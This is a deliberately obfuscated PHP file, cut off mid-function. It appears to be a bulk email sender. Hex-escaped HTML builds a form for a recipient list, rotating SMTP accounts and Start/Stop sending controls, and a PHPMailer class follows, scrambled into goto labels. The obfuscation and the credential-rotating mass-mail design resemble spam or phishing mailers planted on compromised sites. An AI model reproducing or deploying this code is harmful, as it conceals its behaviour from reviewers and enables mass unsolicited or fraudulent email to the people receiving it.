\40\40\x20\x20\40\40\40\40\x3c\164\145\170\164\x61\162\145\141\40\x6e\141\155\x65\x3d\x22\x65\x6d\141\151\x6c\x4c\151\163\164\42\40\151\x64\75\x22\x65\x6d\141\151\x6c\x4c\151\x73\164\x22\x20\x63\154\x61\x73\x73\x3d\x22\146\157\x72\x6d\55\x63\157\156\x74\162\x6f\x6c\x22\x20\x72\x6f\167\x73\75\42\61\x30\42\40\x69\144\x3d\x22\x74\145\170\164\101\162\x65\x61\x22\x3e\74\x2f\x74\145\x78\164\141\162\145\x61\76\xa\40\x20\40\x20\x20\40\x3c\x2f\144\x69\x76\x3e\12\x20\40\x20\40\40\x20\74\144\x69\166\x20\143\154\x61\x73\163\75\42\x66\157\x72\155\55\x67\x72\157\165\160\x20\x63\x6f\154\x2d\x6c\x67\x2d\66\x20\42\76\12\40\x20\x20\x20\x20\x20\40\x20\74\x6c\x61\x62\x65\154\40\x66\x6f\162\75\42\x73\155\x74\160\101\143\x63\157\165\156\164\x73\42\76\123\115\124\120\x20\x41\143\x63\x6f\x75\x6e\x74\x73\74\x2f\x6c\141\x62\x65\x6c\76\12\40\40\x20\x20\40\x20\x20\40\x3c\x74\x65\x78\x74\141\x72\x65\141\40\160\x6c\141\x63\145\x68\157\x6c\144\145\162\x3d\42\122\141\x6e\x64\x6f\x6d\x20\141\143\143\x6f\x75\156\x74\40\167\151\154\154\x20\142\x65\x20\x75\x73\145\x64\x20\x77\150\145\x6e\x20\163\145\x6e\x64\x69\x6e\147\x20\141\x20\x6d\145\163\x73\x61\147\x65\56\x26\x23\61\x30\x3b\61\x29\x20\106\x6f\x72\155\x61\164\72\x20\x48\117\x53\x54\72\x50\117\x52\x54\x3a\123\x53\114\x26\x23\61\x30\x3b\62\x29\x20\x46\157\162\x6d\x61\164\72\40\110\117\x53\124\72\x50\117\x52\124\x3a\123\x53\x4c\x3a\x55\163\x65\x72\156\141\x6d\x65\x3a\120\141\163\x73\x77\x6f\x72\x64\x26\43\61\60\x3b\105\x78\141\155\x70\154\x65\x3a\x20\x73\155\x74\x70\x2e\x67\155\x61\x69\x6c\x2e\x63\157\x6d\72\x35\70\x37\x3a\x74\x6c\163\72\x78\170\100\x67\155\x61\x69\154\56\x63\157\x6d\x3a\61\62\x33\x26\43\x31\x30\x3b\105\x78\x61\155\x70\154\x65\x3a\40\x73\x6d\x74\160\56\x67\x6d\x61\151\x6c\x2e\x63\157\x6d\x3a\65\x38\67\72\x6e\x6f\x73\x73\x6c\x3a\x78\170\x40\x67\155\141\151\x6c\56\143\x6f\x6d\72\61\62\x33\46\43\x31\x30\x3b\x26\x23\x31\60\x3b\123\123\114\x20\x4f\x70\x74\x69\157\x6e\163\72\x20\164\154\x73\40\x2c\40\163\163\x6c\x2c\x20\156\x6f\163\x73\154\x22\x20\156\x61\155\x65\x3d\x22\x73\x6d\164\160\x41\143\143\x6f\165\x6e\164\x73\42\40\x69\144\x3d\x22\x73\155\x74\x70\x41\x63\x63\x6f\165\156\164\x73\42\40\143\x6c\x61\163\163\x3d\42\x66\x6f\x72\155\x2d\x63\x6f\x6e\164\x72\x6f\154\42\40\162\x6f\x77\163\75\42\61\60\42\40\x69\x64\x3d\x22\x74\x65\x78\164\x41\x72\145\x61\x22\76\74\57\164\x65\x78\x74\x61\162\145\x61\76\xa\x20\40\x20\x20\x20\x20\x3c\x2f\x64\151\x76\76\xa\x20\40\x20\40\x3c\x2f\x64\x69\x76\x3e\12\xa\x20\x20\x20\40\x3c\x64\151\x76\x20\143\x6c\141\x73\x73\75\42\162\x6f\x77\42\x3e\12\x20\x20\40\x20\x20\x20\x3c\144\x69\166\x20\x63\154\x61\163\x73\75\x22\146\x6f\162\155\x2d\x67\x72\157\x75\160\x20\143\157\154\x2d\154\x67\x2d\66\40\x22\76\12\x20\40\40\40\x20\x20\x3c\154\141\x62\145\154\x20\146\x6f\x72\x3d\x22\x6d\x65\x73\x73\141\147\145\124\171\x70\145\x22\x3e\115\x65\163\163\x61\x67\x65\x20\x54\x79\x70\145\x3c\57\x6c\x61\x62\x65\x6c\76\xa\40\40\x20\x20\x20\x20\x3c\x69\156\160\x75\x74\40\164\171\x70\145\75\42\162\x61\x64\x69\157\x22\40\x6e\x61\x6d\x65\75\42\155\x65\163\x73\141\147\x65\x54\171\160\145\x22\40\x69\x64\75\42\x6d\x65\x73\163\141\x67\x65\x54\x79\x70\x65\42\40\166\x61\x6c\165\145\75\x22\x68\164\155\154\x22\x20\143\150\x65\x63\x6b\145\x64\76\40\x48\x54\115\114\xa\x20\x20\x20\40\40\40\x3c\x69\x6e\x70\x75\x74\40\164\171\x70\145\75\42\x72\x61\144\x69\x6f\42\40\x6e\x61\155\145\75\x22\155\x65\x73\163\x61\147\145\124\x79\x70\145\42\x20\151\144\75\42\x6d\x65\x73\163\x61\x67\x65\124\171\x70\x65\42\x20\x76\x61\154\165\145\x3d\x22\160\x6c\141\151\156\42\x3e\40\x50\x6c\141\151\156\xa\x20\40\x20\40\x3c\57\x64\151\166\76\xa\40\x20\40\x20\x3c\144\x69\166\x20\x63\154\141\x73\x73\75\x22\x66\x6f\x72\x6d\x2d\x67\162\x6f\165\x70\x20\x63\x6f\x6c\x2d\x6c\x67\55\66\x20\42\x3e\12\40\x20\40\x20\40\40\74\x6c\x61\x62\145\x6c\40\x66\x6f\162\75\x22\163\x65\x6e\x64\x69\x6e\x67\115\x65\x74\x68\x6f\144\42\x3e\x53\x65\x6e\144\151\x6e\x67\40\x4d\145\164\x68\157\x64\74\x2f\x6c\141\142\x65\x6c\x3e\12\40\40\x20\x20\x20\40\x3c\x69\x6e\x70\x75\x74\40\164\x79\160\x65\x3d\42\x72\141\x64\x69\157\42\40\x6e\141\x6d\145\75\42\163\145\x6e\144\x69\x6e\x67\115\x65\164\150\157\x64\x22\x20\151\x64\75\42\x73\145\156\144\x69\x6e\x67\x4d\x65\164\x68\x6f\144\42\40\166\x61\154\165\x65\x3d\x22\x62\x75\151\x6c\164\x69\156\x22\40\143\150\x65\143\x6b\145\144\x3e\40\x42\x75\x69\x6c\x74\151\x6e\xa\x20\40\x20\40\40\x20\74\151\156\160\x75\x74\x20\x74\x79\x70\145\x3d\x22\162\x61\x64\x69\x6f\x22\40\156\x61\x6d\x65\75\x22\163\x65\x6e\x64\x69\x6e\147\115\145\x74\150\x6f\144\42\40\151\144\75\x22\x73\145\156\144\x69\x6e\x67\x4d\145\x74\x68\x6f\144\42\40\x76\141\154\x75\145\x3d\x22\163\x6d\x74\x70\42\76\x20\x53\115\124\120\xa\x20\40\40\40\x3c\x2f\x64\151\x76\x3e\12\x20\x20\40\40\74\144\151\x76\40\x63\154\x61\x73\x73\75\x22\146\x6f\162\155\55\147\x72\x6f\x75\160\40\143\x6f\154\x2d\x6c\x67\x2d\x36\x22\x3e\12\x20\x20\x20\x20\x20\x20\x3c\x6c\141\142\x65\154\x20\x66\x6f\x72\x3d\x22\x65\x6e\x63\157\144\x69\156\147\42\x3e\x45\x6e\x63\x6f\144\151\156\x67\x20\124\171\160\145\74\57\154\141\142\x65\x6c\76\xa\x20\40\x20\x20\x20\x20\74\x73\x65\x6c\x65\x63\164\40\x63\x6c\x61\x73\163\x3d\42\146\x6f\162\155\55\143\157\x6e\x74\162\x6f\x6c\40\x69\156\x70\x75\x74\55\163\155\42\x20\151\x64\x3d\42\145\x6e\x63\x6f\144\151\156\x67\42\x20\x6e\141\155\145\x3d\42\x65\x6e\143\x6f\x64\x69\x6e\x67\x22\x3e\12\40\40\x20\x20\40\x20\40\x20\x3c\157\160\x74\x69\157\156\40\x76\x61\154\165\x65\x3d\42\125\x54\x46\55\x38\42\40\x73\145\x6c\x65\143\164\145\144\76\x55\x54\106\x2d\x38\40\x49\x6e\164\x65\162\156\x61\164\x69\157\x6e\x61\x6c\x20\125\156\151\143\157\144\x65\74\57\157\x70\x74\x69\157\156\x3e\12\40\40\x20\x20\x20\40\40\40\x3c\157\x70\x74\151\157\156\x20\x76\141\154\x75\x65\x3d\42\x49\123\117\55\x38\x38\65\71\x2d\x31\42\x3e\111\123\117\x2d\x38\70\x35\71\55\61\40\x4c\141\x74\x69\156\x20\x31\x20\x28\x57\145\x73\x74\40\105\x75\162\157\160\145\141\156\x29\74\57\x6f\160\164\x69\157\156\x3e\xa\x20\x20\40\x20\40\x20\40\40\x3c\x6f\160\x74\151\157\x6e\x20\166\x61\154\165\x65\75\x22\111\123\x4f\55\70\70\65\x39\55\x32\42\76\x49\x53\x4f\x2d\x38\x38\x35\71\55\x32\x20\114\141\x74\151\x6e\40\x32\40\50\x45\x61\x73\x74\x20\105\165\x72\157\x70\x65\141\x6e\51\x3c\x2f\x6f\160\164\151\157\156\76\xa\40\x20\40\40\x20\40\40\x20\x3c\157\x70\x74\x69\x6f\156\40\x76\141\154\165\145\x3d\42\111\123\117\x2d\x38\x38\65\x39\x2d\x33\x22\76\x49\x53\x4f\x2d\70\70\65\71\x2d\x33\x20\x4c\x61\x74\151\156\x20\x33\x20\50\x53\x6f\x75\x74\x68\x20\x45\165\x72\x6f\x70\x65\141\x6e\x29\74\x2f\157\x70\164\x69\x6f\156\x3e\xa\x20\x20\40\40\x20\x20\x20\x20\74\157\160\164\151\157\x6e\40\x76\141\x6c\x75\x65\75\42\111\x53\117\x2d\70\x38\x35\71\55\x34\42\76\111\x53\x4f\55\x38\70\65\71\55\64\40\114\141\164\151\156\40\x34\40\50\x4e\157\162\164\150\40\105\165\162\x6f\160\x65\141\156\51\x3c\x2f\x6f\160\x74\x69\157\x6e\76\xa\x20\40\40\40\x20\40\x20\40\x3c\x6f\x70\x74\x69\157\x6e\40\x76\x61\x6c\x75\145\x3d\x22\111\x53\117\x2d\x38\x38\65\71\55\x35\42\76\111\x53\117\55\x38\70\x35\71\x2d\65\40\x43\x79\162\151\154\x6c\x69\143\x3c\x2f\x6f\x70\x74\151\x6f\x6e\76\xa\40\x20\40\40\x20\40\40\x20\74\x6f\x70\164\151\157\156\x20\x76\x61\154\x75\145\x3d\x22\x49\123\117\x2d\70\x38\65\71\55\x36\x22\76\x49\x53\117\55\70\70\65\x39\x2d\x36\40\101\x72\141\x62\x69\x63\x3c\57\x6f\160\x74\151\157\x6e\x3e\xa\40\x20\40\40\40\40\40\x20\74\157\160\x74\151\x6f\156\40\166\x61\x6c\165\x65\75\x22\x49\123\117\x2d\x38\x38\x35\71\55\x37\42\76\x49\x53\117\x2d\70\70\x35\x39\x2d\x37\x20\x47\x72\x65\145\x6b\74\57\x6f\160\164\x69\157\156\76\xa\40\x20\40\40\x20\40\40\40\x3c\x6f\160\164\x69\157\156\x20\x76\141\154\165\145\x3d\x22\x49\x53\x4f\55\70\70\x35\71\55\x38\42\x3e\x49\x53\x4f\x2d\70\70\x35\x39\x2d\x38\x20\110\145\142\x72\145\167\74\x2f\x6f\x70\164\151\157\x6e\76\12\x20\40\x20\40\40\x20\x20\x20\x3c\x6f\160\164\151\x6f\156\40\166\x61\x6c\165\145\x3d\x22\x49\123\x4f\x2d\x38\70\x35\71\x2d\71\42\x3e\111\123\117\55\x38\x38\x35\x39\55\71\x20\114\x61\x74\x69\x6e\x20\x35\40\50\x54\x75\x72\x6b\151\163\x68\x29\74\57\x6f\x70\x74\x69\157\156\x3e\xa\x20\x20\x20\x20\x20\40\40\40\x3c\x6f\x70\164\151\157\156\x20\x76\141\154\x75\x65\75\x22\111\123\x4f\x2d\x38\70\x35\71\55\x31\x35\42\x3e\111\x53\117\55\70\x38\65\x39\55\x31\65\40\114\141\164\151\156\x20\x39\74\x2f\x6f\x70\164\x69\157\x6e\76\12\40\40\x20\40\x20\40\x20\x20\x3c\x6f\x70\164\x69\x6f\x6e\40\166\x61\x6c\165\145\75\42\x42\x49\x47\x35\x22\x3e\x42\111\x47\65\x20\x54\x72\x61\144\151\x74\151\x6f\156\141\x6c\x20\103\150\151\156\x65\x73\145\74\x2f\157\x70\164\x69\x6f\156\76\12\40\x20\40\x20\40\40\40\40\74\x6f\160\x74\151\x6f\156\40\166\141\x6c\165\145\x3d\42\x47\x42\x2d\x32\63\61\x32\42\76\107\102\x2d\62\63\61\62\x20\123\151\155\x70\154\x69\x66\x69\x65\144\40\x43\x68\151\156\x65\163\145\x3c\x2f\157\x70\164\x69\x6f\x6e\x3e\12\40\40\40\x20\40\x20\x20\40\x3c\x6f\160\x74\151\157\x6e\40\166\x61\154\165\x65\x3d\x22\111\x53\x4f\55\62\x30\x32\x32\x2d\112\120\x22\76\x49\x53\x4f\x2d\62\60\x32\x32\55\112\x50\40\x4a\x61\160\x61\156\x65\163\145\x3c\57\157\160\x74\x69\x6f\156\76\xa\40\x20\40\x20\40\40\40\x20\74\x6f\160\x74\x69\x6f\156\40\166\x61\x6c\165\x65\x3d\x22\x45\x55\103\55\x4a\120\x22\76\105\x55\103\x2d\112\x50\40\112\x61\160\141\x6e\145\x73\x65\x3c\x2f\x6f\160\164\x69\x6f\x6e\76\12\40\x20\40\40\40\40\40\40\x3c\x6f\160\x74\x69\157\156\x20\x76\x61\x6c\x75\145\75\42\123\x68\151\x66\164\x2d\112\x49\123\42\x3e\123\x68\151\146\164\x2d\x4a\111\123\x20\112\x61\160\x61\156\x65\x73\x65\x3c\x2f\x6f\x70\164\x69\157\156\x3e\xa\x20\40\40\x20\40\40\x20\x20\x3c\x6f\x70\x74\151\157\156\40\166\x61\154\x75\x65\x3d\42\113\x53\103\55\x35\66\60\61\x22\x3e\x4b\x53\x43\55\x35\x36\x30\61\x20\113\157\162\x65\x61\x6e\x3c\57\x6f\x70\164\151\x6f\156\x3e\12\x20\x20\40\40\x20\40\x20\40\74\x6f\160\x74\151\157\x6e\x20\166\x61\154\165\x65\x3d\x22\x45\x49\103\x2d\113\x52\42\76\105\x49\103\x2d\x4b\x52\x20\x4b\x6f\162\145\x61\x6e\74\x2f\x6f\160\164\x69\x6f\x6e\x3e\12\x20\40\40\40\x20\40\74\57\x73\x65\154\145\x63\164\x3e\12\x20\40\x20\40\74\x2f\x64\x69\166\76\12\40\x20\40\40\x3c\144\151\166\40\143\154\x61\x73\163\75\42\146\x6f\162\x6d\x2d\x67\162\x6f\165\160\40\143\157\x6c\55\154\147\x2d\63\42\76\xa\x20\40\40\x20\40\x20\74\x6c\141\x62\145\x6c\x20\146\157\162\75\x22\160\162\151\157\162\x69\164\171\42\x3e\x45\x6d\141\151\x6c\x20\x50\162\151\157\162\x69\x74\171\74\57\x6c\141\x62\x65\x6c\x3e\xa\40\x20\x20\40\x20\40\74\x73\x65\x6c\x65\143\x74\x20\x63\x6c\x61\x73\x73\x3d\42\x66\x6f\162\x6d\x2d\x63\x6f\156\164\162\x6f\154\x20\x69\x6e\x70\165\164\55\x73\155\42\x20\151\x64\x3d\x22\x70\x72\x69\157\162\x69\x74\171\x22\40\x6e\141\155\145\x3d\x22\x70\x72\151\157\162\x69\164\171\42\76\12\40\40\40\40\x20\40\x20\x20\x3c\157\160\x74\x69\157\156\x20\x76\141\x6c\x75\x65\75\x22\42\x20\163\x65\154\145\x63\164\145\x64\76\x44\x65\146\x61\165\154\x74\74\57\x6f\160\164\151\x6f\156\x3e\12\40\x20\40\40\x20\40\40\40\x3c\157\160\x74\x69\157\x6e\x20\166\x61\154\x75\145\x3d\42\65\42\x3e\114\157\x77\74\57\x6f\x70\164\151\x6f\156\x3e\12\40\x20\x20\x20\40\x20\40\40\74\x6f\x70\x74\151\x6f\x6e\x20\x76\141\x6c\165\145\75\x22\x33\42\76\116\x6f\x72\x6d\x61\154\x3c\57\157\160\164\x69\x6f\x6e\76\12\x20\x20\x20\x20\40\x20\x20\40\x3c\157\x70\164\151\157\x6e\x20\x76\141\154\x75\x65\75\42\61\42\x3e\x48\x69\x67\150\74\57\157\x70\164\x69\x6f\156\76\xa\x20\40\40\x20\40\x20\x3c\x2f\x73\x65\154\145\x63\164\76\12\x20\x20\x20\x20\74\x2f\144\151\x76\76\12\40\x20\74\57\x64\151\x76\76\xa\12\x3c\142\165\x74\x74\157\156\40\164\x79\x70\145\x3d\x22\142\x75\x74\x74\x6f\156\x22\x20\151\144\75\x22\x62\x74\x6e\x53\x74\141\x72\x74\x22\40\x63\154\x61\163\163\x3d\42\142\x74\156\x20\x62\x74\x6e\55\x64\145\146\141\x75\x6c\164\x20\142\x74\x6e\55\x73\x6d\x22\x20\x6f\x6e\143\x6c\x69\143\153\x3d\42\163\x74\141\x72\x74\x53\x65\156\144\151\x6e\x67\x28\x29\x3b\x22\76\x53\164\x61\162\x74\74\x2f\142\x75\164\164\x6f\x6e\76\xa\x3c\142\165\164\164\157\x6e\40\x74\x79\160\x65\x3d\x22\142\x75\164\x74\x6f\x6e\42\x69\144\75\42\142\164\x6e\123\x74\157\x70\x22\x20\x63\154\x61\x73\163\x3d\42\x62\164\156\40\142\x74\x6e\55\x64\x65\x66\x61\165\x6c\x74\40\142\x74\x6e\x2d\x73\x6d\42\40\x6f\156\x63\154\151\143\153\75\x22\163\164\x6f\x70\x53\x65\156\144\x69\x6e\x67\x28\51\x3b\x22\76\123\164\157\160\74\57\142\165\x74\164\x6f\156\76\xa\xa\74\x2f\144\151\x76\76\xa\x20\x20"; goto UkE6_; y1kn1: class PHPMailer { const CHARSET_ISO88591 = "\x69\163\157\55\x38\70\x35\71\x2d\61"; const CHARSET_UTF8 = "\165\x74\x66\55\x38"; const CONTENT_TYPE_PLAINTEXT = "\x74\x65\x78\x74\x2f\x70\x6c\141\151\x6e"; const CONTENT_TYPE_TEXT_CALENDAR = "\164\145\170\164\x2f\143\141\154\x65\x6e\144\141\x72"; const CONTENT_TYPE_TEXT_HTML = "\164\x65\x78\x74\57\150\164\x6d\x6c"; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = "\x6d\x75\x6c\164\151\x70\x61\x72\164\x2f\141\154\x74\x65\x72\x6e\x61\x74\x69\166\145"; const CONTENT_TYPE_MULTIPART_MIXED = "\x6d\165\x6c\164\151\160\141\x72\x74\57\155\151\170\145\x64"; const CONTENT_TYPE_MULTIPART_RELATED = "\155\165\154\164\x69\160\141\162\164\57\162\145\x6c\141\164\x65\144"; const ENCODING_7BIT = "\x37\x62\x69\164"; const ENCODING_8BIT = "\x38\x62\151\x74"; const ENCODING_BASE64 = "\142\141\163\145\x36\x34"; const ENCODING_BINARY = "\x62\x69\156\x61\162\x79"; const ENCODING_QUOTED_PRINTABLE = "\x71\165\x6f\x74\x65\144\x2d\160\x72\151\x6e\x74\x61\x62\154\x65"; public $Priority; public $CharSet = self::CHARSET_ISO88591; public $ContentType = self::CONTENT_TYPE_PLAINTEXT; public $Encoding = self::ENCODING_8BIT; public $ErrorInfo = ''; public $From = "\162\157\157\x74\x40\154\157\143\x61\154\x68\157\163\164"; public $FromName = "\x52\x6f\157\164\40\x55\163\x65\x72"; public $Sender = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "\155\141\151\154"; public $Sendmail = "\57\x75\x73\162\x2f\163\x62\151\156\57\163\145\x6e\x64\155\141\151\x6c"; public $UseSendmailOptions = true; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "\x6c\x6f\143\x61\x6c\x68\x6f\163\164"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; protected $oauth; public $Timeout = 300; public $dsn = ''; public $SMTPDebug = 0; public $Debugoutput = "\x65\x63\150\157"; public $SMTPKeepAlive = false; public $SingleTo = false; protected $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_copyHeaderFields = true; public $DKIM_extraHeaders = array(); public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = ''; public static $validator = "\160\150\x70"; protected $smtp; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const VERSION = "\x36\56\60\56\67"; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; protected static $LE = "\15\12"; const MAX_LINE_LENGTH = 998; const STD_LINE_LENGTH = 76; public function __construct($exceptions = null) { goto Icdkc; nSe8I: zE8q4: goto QqMW_; Icdkc: if (!(null !== $exceptions)) { goto zE8q4; } goto I74XE; QqMW_: $this->Debugoutput = strpos(PHP_SAPI, "\x63\x6c\151") !== false ? "\x65\x63\x68\157" : "\x68\164\x6d\x6c"; goto FyXGJ; I74XE: $this->exceptions = (bool) $exceptions; goto nSe8I; FyXGJ: } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { goto QyWrv; nbZ_3: goto FWOnW; goto nixLN; AWCTH: goto SKFyc; goto TQkxo; vrLyZ: $subject = $this->secureHeader($subject); goto rNtlP; D4qbU: $result = @mail($to, $subject, $body, $header, $params); goto AWCTH; rNtlP: FWOnW: goto adP5A; O3exL: SKFyc: goto Z580o; nixLN: LajQP: goto vrLyZ; TQkxo: TPxPt: goto lziyi; vB2l_: $subject = $this->encodeHeader($this->secureHeader($subject)); goto nbZ_3; lziyi: $result = @mail($to, $subject, $body, $header); goto O3exL; QyWrv: if (ini_get("\155\142\x73\164\162\151\156\147\56\146\165\x6e\143\137\157\166\145\162\154\x6f\141\x64") & 1) { goto LajQP; } goto vB2l_; adP5A: if (!$this->UseSendmailOptions or null === $params) { goto TPxPt; } goto D4qbU; Z580o: return $result; goto x37eh; x37eh: } protected function edebug($str) { goto lm40T; jTazT: x0eze: goto yKm2C; DDBlW: hFTa5: goto QFS2l; aTAs4: zNNIW: goto TEKfT; TCFG6: return; goto DDBlW; SiIcd: if (!(!in_array($this->Debugoutput, ["\x65\162\x72\157\162\x5f\154\x6f\x67", "\150\x74\x6d\x6c", "\145\x63\150\x6f"]) and is_callable($this->Debugoutput))) { goto hFTa5; } goto tZZ_r; lm40T: if (!($this->SMTPDebug <= 0)) { goto x0eze; } goto BVPMq; BVPMq: return; goto jTazT; xkbvW: return; goto vOMio; vOMio: VjW_a: goto SiIcd; TEKfT: DRryD: goto g5DIf; tZZ_r: call_user_func($this->Debugoutput, $str, $this->SMTPDebug); goto TCFG6; yKm2C: if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) { goto VjW_a; } goto rWX46; rWX46: $this->Debugoutput->debug($str); goto xkbvW; QFS2l: switch ($this->Debugoutput) { case "\145\162\162\x6f\162\137\x6c\157\x67": error_log($str); goto DRryD; case "\150\164\155\x6c": echo htmlentities(preg_replace("\x2f\x5b\134\162\x5c\156\x5d\x2b\x2f", '', $str), ENT_QUOTES, "\x55\x54\x46\55\x38"), "\x3c\x62\x72\76\12"; goto DRryD; case "\145\x63\150\157": default: $str = preg_replace("\x2f\134\162\134\x6e\x7c\x5c\x72\57\x6d\163", "\xa", $str); echo gmdate("\131\55\155\55\x64\x20\x48\72\x69\x3a\163"), "\11", trim(str_replace("\12", "\12\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\11\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40", trim($str))), "\xa"; } goto aTAs4; g5DIf: } public function isHTML($isHtml = true) { goto ZP19R; jkkWt: $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; goto IFWY5; ZP19R: if ($isHtml) { goto AerCB; } goto qhTY9; uDzTC: goto GdZBd; goto q_8ZO; q_8ZO: AerCB: goto jkkWt; qhTY9: $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; goto uDzTC; IFWY5: GdZBd: goto NitAs; NitAs: } public function isSMTP() { $this->Mailer = "\163\x6d\x74\160"; } public function isMail() { $this->Mailer = "\155\141\151\154"; } public function isSendmail() { goto wsmFp; azeXf: lAOYt: goto Gab0t; eACnE: if (false === stripos($ini_sendmail_path, "\163\145\156\x64\x6d\x61\x69\x6c")) { goto lAOYt; } goto SQz8H; SQz8H: $this->Sendmail = $ini_sendmail_path; goto lR_OP; wsmFp: $ini_sendmail_path = ini_get("\163\x65\x6e\144\x6d\x61\151\154\137\160\141\x74\150"); goto eACnE; Gab0t: $this->Sendmail = "\57\x75\163\162\x2f\163\142\151\156\57\x73\x65\156\144\155\141\151\x6c"; goto nsYW6; nsYW6: XE5B3: goto MeIZj; lR_OP: goto XE5B3; goto azeXf; MeIZj: $this->Mailer = "\163\x65\x6e\144\x6d\x61\x69\x6c"; goto FjHPP; FjHPP: } public function isQmail() { goto tYHsK; j46HK: FOpwg: goto M0KL3; Std5n: $this->Mailer = "\161\x6d\x61\x69\154"; goto zuBDP; M0KL3: $this->Sendmail = "\x2f\x76\x61\x72\x2f\x71\155\x61\x69\x6c\57\x62\x69\x6e\57\161\x6d\141\151\154\55\151\156\152\145\143\164"; goto kwEUl; tYHsK: $ini_sendmail_path = ini_get("\x73\x65\156\144\155\141\x69\154\137\160\141\x74\x68"); goto EcKmz; EcKmz: if (false === stripos($ini_sendmail_path, "\161\x6d\141\x69\154")) { goto FOpwg; } goto xExz2; xExz2: $this->Sendmail = $ini_sendmail_path; goto bH5Id; bH5Id: goto e1NV9; goto j46HK; kwEUl: e1NV9: goto Std5n; zuBDP: } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("\x74\157", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\143\143", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("\x62\x63\x63", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("\122\145\x70\x6c\171\55\x54\157", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { goto LRPjq; JkWeO: if (array_key_exists($address, $this->ReplyToQueue)) { goto dVxMK; } goto YKNKE; wvQtC: return true; goto u7wnR; uFfuP: return false; goto hnv6Z; ZHkSI: SHWgm: goto uFfuP; TtsQW: $name = trim(preg_replace("\x2f\x5b\x5c\162\134\156\135\x2b\57", '', $name)); goto mqd20; HIGwv: $this->RecipientsQueue[$address] = $params; goto uFFlo; mqd20: $pos = strrpos($address, "\x40"); goto u244w; ymQqO: $this->edebug($error_message); goto bw_nw; f4LHV: if (!($this->has8bitChars(substr($address, ++$pos)) and static::idnSupported())) { goto YcQes; } goto Tawg9; lBoT2: goto SHWgm; goto zzZNP; zzZNP: YHYQz: goto KQQlu; Tawg9: if ("\x52\145\x70\154\171\55\124\x6f" != $kind) { goto YHYQz; } goto JkWeO; Ce9jO: $this->setError($error_message); goto ymQqO; HLaw2: return false; goto j6l8U; bw_nw: if (!$this->exceptions) { goto PklxA; } goto osuGZ; VgVUv: $params = [$kind, $address, $name]; goto f4LHV; YKNKE: $this->ReplyToQueue[$address] = $params; goto wvQtC; dP6Fk: PklxA: goto HLaw2; hnv6Z: YcQes: goto mNVNm; LRPjq: $address = trim($address); goto TtsQW; mNVNm: return call_user_func_array([$this, "\141\144\x64\101\156\x41\x64\144\162\145\x73\x73"], $params); goto u2Zid; yyEzp: WVAC4: goto ZHkSI; KQQlu: if (array_key_exists($address, $this->RecipientsQueue)) { goto WVAC4; } goto HIGwv; u244w: if (!(false === $pos)) { goto IZOn2; } goto vSWkA; vSWkA: $error_message = sprintf("\45\163\x20\50\45\163\x29\x3a\40\x25\163", $this->lang("\x69\x6e\x76\x61\x6c\151\x64\137\141\x64\x64\162\145\x73\163"), $kind, $address); goto Ce9jO; j6l8U: IZOn2: goto VgVUv; osuGZ: throw new Exception($error_message); goto dP6Fk; u7wnR: dVxMK: goto lBoT2; uFFlo: return true; goto yyEzp; u2Zid: } protected function addAnAddress($kind, $address, $name = '') { goto bd5YX; zP4o1: $this->edebug($error_message); goto tKYGG; RYOou: $this->setError($error_message); goto zP4o1; bd5YX: if (in_array($kind, ["\164\x6f", "\x63\x63", "\x62\143\x63", "\x52\145\160\154\x79\x2d\124\157"])) { goto IVAff; } goto rXQc7; hsvzW: if (!$this->exceptions) { goto ORf9t; } goto JARp1; pUAZZ: MSq2M: goto LKw0t; JARp1: throw new Exception($error_message); goto cVTKR; b07JU: N5rvO: goto qliXD; Nw9vt: $this->{$kind}[] = [$address, $name]; goto KnOoO; CcCon: if (static::validateAddress($address)) { goto yUCVW; } goto iRx08; UHJNR: return true; goto X1z4M; WoH9N: return true; goto ohzZx; OmqZo: IVAff: goto CcCon; ro14U: return false; goto zj869; LKw0t: return false; goto OmqZo; WOnTn: $this->edebug($error_message); goto hsvzW; X1z4M: YP8yc: goto kxZRt; ibeHu: if (array_key_exists(strtolower($address), $this->all_recipients)) { goto Gtz08; } goto Nw9vt; tKYGG: if (!$this->exceptions) { goto MSq2M; } goto Ugqkv; iRx08: $error_message = sprintf("\x25\163\40\x28\x25\163\x29\x3a\x20\x25\163", $this->lang("\151\x6e\166\141\x6c\x69\x64\137\x61\144\x64\162\145\x73\163"), $kind, $address); goto lEZcY; KnOoO: $this->all_recipients[strtolower($address)] = true; goto WoH9N; XXTaZ: if (array_key_exists(strtolower($address), $this->ReplyTo)) { goto YP8yc; } goto jbVj6; zj869: yUCVW: goto KCPvo; qliXD: return false; goto OZI2O; Ugqkv: throw new Exception($error_message); goto pUAZZ; QpnZe: 